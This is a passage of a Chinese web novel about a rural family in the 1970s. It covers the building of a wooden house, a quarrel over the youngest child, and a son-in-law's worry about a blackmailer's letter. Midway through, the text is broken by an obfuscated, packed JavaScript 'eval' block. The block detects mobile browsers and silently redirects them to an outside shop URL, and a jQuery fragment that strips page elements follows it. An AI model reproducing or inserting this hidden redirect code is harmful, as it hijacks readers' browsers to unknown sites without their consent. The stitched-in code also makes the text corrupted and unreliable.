16号傍晚,
给姜老三和方感勇建房子的工程还在进行中。
这次姜木匠没打算给他们盖砖房,而是建个普普通通的二室木屋。
一家人每天下工劳作后回家吃完饭就去忙木屋的事,方感勇默不作声地干着活,偶尔抬头看见姜四儿在那搬木材,仍贼心不死地盯着她脸蛋儿咽口水。
他不懂,明明媳妇儿说四妹是个不检点的,怎么自己还拿不下四妹。
别看法律法规上管得严,但乡下风流韵事也不少,光是他知道的就有三户人家儿子或儿媳妇出轨其他农户的,所以方感勇压根不觉得自己这么想有什么不对。他觉得反正大家私底下都这么随便的话,怎么就不能让他也占点便宜。
月色下,姜小芯跟着大人们一起忙活,不过她一个小娃儿纯粹是瞎忙活,跟玩儿似的,干不了啥正经事。
“小芯芯!”下工后洗漱完的程月梨在水沟对面的马路上冲姜小芯挥手。
也有其他散步的村民跟着一起笑,“老姜,你这小女儿勤快啊,这么小就知道干活了。”
姜木匠听了夸奖心里美滋滋,大笑道:“哪里哪里,她这么小能干什么活,瞎玩。”
“小芯芯,要不要一起去散散步?”程月梨又喊。
姜小芯扭头看向妈妈,春花让她去玩,小娃儿立马撒欢跑开了。
要过去马路那边得通过一座小桥,程月梨跑去小桥接孩子,一大一小一见面就抱在了一起。
等姜二丫从姜家老屋里拿工具过来,已经没了小妹的身影。
晚上七点多,姜二丫在另一个生产队找到了和程月梨踢毽子的小妹。旁边,还有那个姓刘的大块头男知青。
“小芯芯她二姐那个跟屁虫又来了。”程月梨对大刘小声吐槽。
大刘个头很大,平时话很少。因为暗恋程月梨,所以什么事情上都站在程月梨这边。
程月梨吐槽姜二丫是跟屁虫,大刘也只是附和着一笑。
“小程同志,”姜二丫站在了程月梨面前,表情不算很好,语气中带着坚定,“你以后别带小芯出来玩,毕竟不是自家人,我们不放心。”
“我……”程月梨委屈,一个字也说不出。
她虽然觉得小芯那孩子可爱,但也不是喜欢得不得了非小芯不可的地步。
今天姜家在那搭建房子,她觉得小芯那孩子在那个地方太危险,所以才把小芯给带走。
自己一片好心,没想到被姜二丫这么说。
姜二丫说完就态度强硬地拉着姜小芯离开,留程月梨气得龇牙咧嘴“呸呸呸”的大骂。
“你还没看明白吗,她这是吃醋了,并不是针对你,你别生气。”大刘笑道。
“什么意思?她吃醋?这有什么好吃醋的?”
“孩子她带大的,如今那孩子喜欢跟在你屁股后头跑,她吃醋呗。”
“我曾经也这么猜测过,但总觉得不至于,”程月梨挠挠头,“这姜二丫得多缺爱啊,对一个小孩子都这样有占有欲。”
“谁知道呢。”大刘叹气。
“不过这都是你的猜测,说不定她就是看不惯我,觉得我有钱就嫉妒恨。”
“我觉得不太可能,姜二丫长得那么漂亮,要真的想找个有钱的也不是难事,听说放映队的那放映员家里有钱有背景,还追过姜二丫呢,只不过被拒绝了,”大刘很肯定道,“我的猜测一般不会错,我很相信自己的直觉,她就是吃醋了。”
“切~”程月梨,“都说我们女生直觉准,你一个大男人,还能成精了不成?”
“诶,”程月梨凑过去,“你这么相信你的直觉,那你猜一下我为什么会和姜四儿一起玩。”
大刘定定地看了程月梨几眼,脸红道:“肯定和你表哥有关,我猜,是你表哥喜欢姜四儿,他不忍心看姜四儿孤零零的没朋友,所以让你没事就去找她玩。”
程月梨:“…………你、你怎么知道的?”
“直觉啊。”大刘嘿嘿笑道。
“你觉得我表哥喜欢姜四儿?要真的喜欢不应该把她接到城里去吗?”
“那我就不知道了,可能是俩人闹了别扭吧,你表哥那人看上去性格不是很好。”
“嗯嗯嗯!!!!”程月梨拼命点头,“我跟你说啊,我表哥可过分了,我奶奶生病,我爸妈要忙工作没时间,花钱请我哥去照料几天,他不去就算了,还发脾气对我爸妈甩脸色…………”
程月梨可算有了个能说话的人了,不停吐槽。
另一边,
姜家人忙活到八点多收工,回去洗漱后睡觉,早上四点又起来摸黑继续忙。
“天气凉快了,可以穿长袖了。”春花摸了摸姜老三的手,有点凉。
“妈,没事,干活干一会儿身上就热起来了。”姜老三嘻嘻笑着撒娇。
姜二丫不动声色地朝感情好的母女俩看过去,咬了咬唇又低下头继续干活。
几秒后,她又看向四妹,四妹搬运着碎砖头,脚步轻快,无忧无虑的样子。
为什么,为什么四妹不会吃醋呢?姜二丫不懂。
家里这些人她都能弄明白对方脑瓜子里面在想些什么,只有这个四妹,她一向搞不懂。
六点左右,生产队长吆喝着大家去上工,姜四儿也回老屋院子里坐着继续扎扫帚。
七点半,姜四儿开始烧火做饭。又过了半个小时,外出上工的人饥肠辘辘地各自回家来吃早饭。
今天早饭是细粮粗粮搭配着,菜是一大盆的蒸辣椒,辣椒蒸在饭里,节省点木柴。
各个吃得正热火朝天的,外面支书老婆过来喊春花说悄悄话。
“有个在县里工作的工人,我曾远远看过,长得不丑,见还是不见,一句话。”
“见,是哪个厂的,我让我亲家去见见,他们在县里有门路。”
俩人偷偷聊了一番后,春花心满意足地回到饭桌上,边吃早饭边和老伴儿说那人的情况。
一听这回是厂里工作的工人,姜木匠也激动起来,觉得这次一定能成。
吃过早饭其他人离开,春花和四儿一起收拾屋子。
“妈,你上午不出去了?”
“上午和队长请了半天假,菜园子里草太多,上午拔草。”
“那你去忙吧,我这里三俩下就能干完。”姜四儿利落地收拾碗筷扫地洗碗。
春花隔着点距离打量自己四女儿,还别说,四女儿这段时间在家吃得好,脸色红润了些,这模样,挑不出问题来,保准相亲的对象满意,要是……再胖点就更好了。
“妈?”姜四儿一回头,被亲妈定住在自己身上的眼神吓了一跳。
她不怕爸妈让她干活,就怕爸妈突然的关爱,总觉得怪不自在的。
等妈妈走远,姜四儿摸了摸胳膊,天气确实变凉了,有点冷。
马路上有单车轮胎声逼近,姜四儿继续干自己的活,直到感觉那声音停在自家院子里,姜四儿抬头,笑着打招呼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586560|205296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“姐夫。”
“诶,早上好。”刘途笑着拎了一捆甘蔗进来。
姜四儿不好意思地看了那甘蔗几眼,馋得不行,“我妈在菜园子里拔草,我去叫他。”
“不用,我这次过来就是给你们送甘蔗过来,也没其他的事。”
说是这么说,但姜四儿还是把妈妈喊了过来,又去给大姐夫端茶倒水。
春花打完招呼后说什么都要喊自家老伴儿回来,急匆匆出去喊人了。
“这几天队里正是忙的时候,我爸他们都出工了,要把稻谷芝麻那些粮食都给收了。”姜四儿给大姐夫解释。
至此,秋收基本上算是告一段落了。
“今年你们队粮食收成怎么样?”刘途客气问道。
“这个我不清楚,应该和往年没什么区别吧。”
“听说国家研究出了一种新的杂交水稻,种出来很成功,亩产量至少增加了上百斤。”
“真的吗?那岂不是以后能分更多的口粮了?”姜四儿笑着看向大姐夫。
“嗯,你多注意听广播看报纸,都会有报道。”刘途随便找着话题,边说边注意着四妹,想看出四妹有没有什么不对劲的地方。
林姗用别人的名义在八月给四妹写信一封说了真相,如果四妹真的信了那封信的内容,会是什么样的情形?
至少,不该是现在这种和自己说说笑笑丝毫没有芥蒂的模样。
刘途继续试探,“听爸妈说你现在识字了?”
“嗯,我在劳改农场参加了干部们组织的扫盲课,认识了很多字,他们都夸我聪明,一学就会。”
“那你现在岂不是自己就能看懂书信?”
“是啊!”姜四儿语气兴奋道,“我现在自己就能写信,有不认识的我自己也可以查字典。”
刘途不动神色地观察,自始至终也看不出姜四儿的问题。
心里稍微松了口气,不过刘途还是不能完全放心。
就这一会儿的工夫,姜木匠急匆匆赶了来,对着大女婿又是握手又是嘘寒问暖的,殷勤得不得了。
春花按照老伴儿的吩咐去给大女婿煮荷包蛋,姜四儿在院子里继续撕地肤草扎扫帚。
刘途和老丈人去了房间里,低声将林姗的事给说了出来。
“这个畜生!畜生!”姜木匠恨极了林姗,恨不得直接杀了她以命抵命。
“她还想怎样?给了她那么多钱,托关系给她在大城市有安身的工作,也让我家四儿去坐牢赎罪了,她还不满足,经常写信来勒索你不说,现在还写信给四儿,她个畜生,害了我一家啊。”姜木匠气得老泪纵横。
“这次去找她,我给了她最后一笔钱,她也说是最后一次找我们要钱了。这苦日子,总算可以结束了。”
这几年一直给林姗寄钱,刘途和姜大妞都很疲惫于这样的生活。
“林姗那边暂时不用担心,现在主要是四妹这边,不知道她当初在农场到底有没有收到过林姗给她写的信。”刘途目前唯一担心的是这件事。
“四儿这边好说,”姜木匠有自信,“我女儿我了解,她要是知道真相,不会是这种反应,早就自己哭鼻子离家出走了。”
他养大的女儿,他知道几斤几两。
那就好那就好,希望是这样……刘途又叮嘱老丈人千万不要和大妞说。
“那肯定,大妞这几年睡得不安稳,我不舍得拿这些乱七八糟的事烦她。”姜木匠沉沉叹了口气。